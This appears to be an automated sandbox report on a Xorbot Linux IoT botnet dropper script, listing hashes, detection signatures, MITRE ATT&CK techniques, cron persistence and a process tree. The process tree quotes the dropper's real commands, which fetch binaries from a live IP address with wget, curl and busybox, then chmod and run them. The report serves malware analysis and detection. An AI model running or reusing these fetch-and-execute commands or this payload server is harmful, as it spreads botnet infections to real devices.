xorbot | af798822bd6bbe4e5648d097c02ed204fada91fcf1260c48cf0fa9a190e30b6c

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/02/2025, 23:18

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General

Target

ZENNW_5CAY8_bins.sh
Size

10KB
MD5

5cae212a65109f1a0f1218d70286d4b0
SHA1

1f0fb32f13a4e4ad9463a27c76e9b76591a92408
SHA256

af798822bd6bbe4e5648d097c02ed204fada91fcf1260c48cf0fa9a190e30b6c
SHA512

d3ea3fdfdc55fb8881318fd786c2bc94d83051e51f345bb9bbe6523215acd0367cc3e26a840de561b8aae9e3915c6f2c2d2b2d49b73a6e04f66eb14293c17ffe
SSDEEP

192:QyeOaCMsvmyHcwni6q4YBC+7cR9aP3Ty/IDq4YBC+vER9aP3asDNsTMsvmyzcwnQ:QyeOaCMsvmyHcwni6q4YBC+IR9aP3TqP

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-6.dat	family_xorbot
behavioral2/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2002) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
687	chmod
705	chmod
717	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	688	ZENNW_5CAY8_bins.sh
/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN	706	ZENNW_5CAY8_bins.sh
/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE	719	ZENNW_5CAY8_bins.sh

Renames itself 1 IoCs

pid	Process
689	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.zXdweK	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/939/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1037/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1050/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1081/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1103/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1107/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/868/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/900/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1070/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/713/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/903/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/936/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/982/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/988/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1007/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1047/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1120/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/949/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/952/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/984/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/19/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/815/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/833/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/860/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/940/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1020/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1071/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1108/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/801/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/918/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/934/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1046/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1097/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1121/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1128/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/144/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/838/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/987/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/17/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/748/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/830/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/909/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/964/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/981/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1041/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/43/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/777/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/845/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/931/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1018/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1042/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/826/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/889/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/965/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1039/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1040/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/283/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/749/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/810/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/820/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/864/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE	busybox
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	wget
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	curl
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	busybox
File opened for modification	/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN	busybox

/tmp/ZENNW_5CAY8_bins.sh
/tmp/ZENNW_5CAY8_bins.sh
1⤵
- Executes dropped EXE
PID:659
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:661
- /usr/bin/wget
  wget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - Writes file to tmp directory
  PID:663
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  ./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:688
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:691
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:693
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:694
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:695
- /bin/rm
  rm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  PID:699
- /usr/bin/wget
  wget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  PID:702
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  PID:703
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - Writes file to tmp directory
  PID:704
- /bin/chmod
  chmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  ./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  PID:706
- /bin/rm
  rm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  PID:707
- /usr/bin/wget
  wget http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  PID:710
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:711
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  - Writes file to tmp directory
  PID:713
- /bin/chmod
  chmod 777 wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  - File and Directory Permissions Modification
  PID:717
- /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  ./wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  PID:719
- /bin/rm
  rm wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  PID:721
- /usr/bin/wget
  wget http://37.44.238.88/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  PID:723
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.zXdweK

Filesize
210B

MD5
91ff45e9a10bd02f3e634deba5c5e981

SHA1
448d2ffb65aa82f1176bf9db6f5c059875e78ebf

SHA256
c7fc4c524fc43aad54c8bbf06e6b81b32d16e3e2fe16a35aa3b97d29a86a8dca

SHA512
0af08a26e826bf25ce6bbb4c7f71a269ea6eac667fbb619800559bd1c517f69d9b86d92e00c1f354de987b1edc5466ae1cfb8ed41c36eb846220a14809231860

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads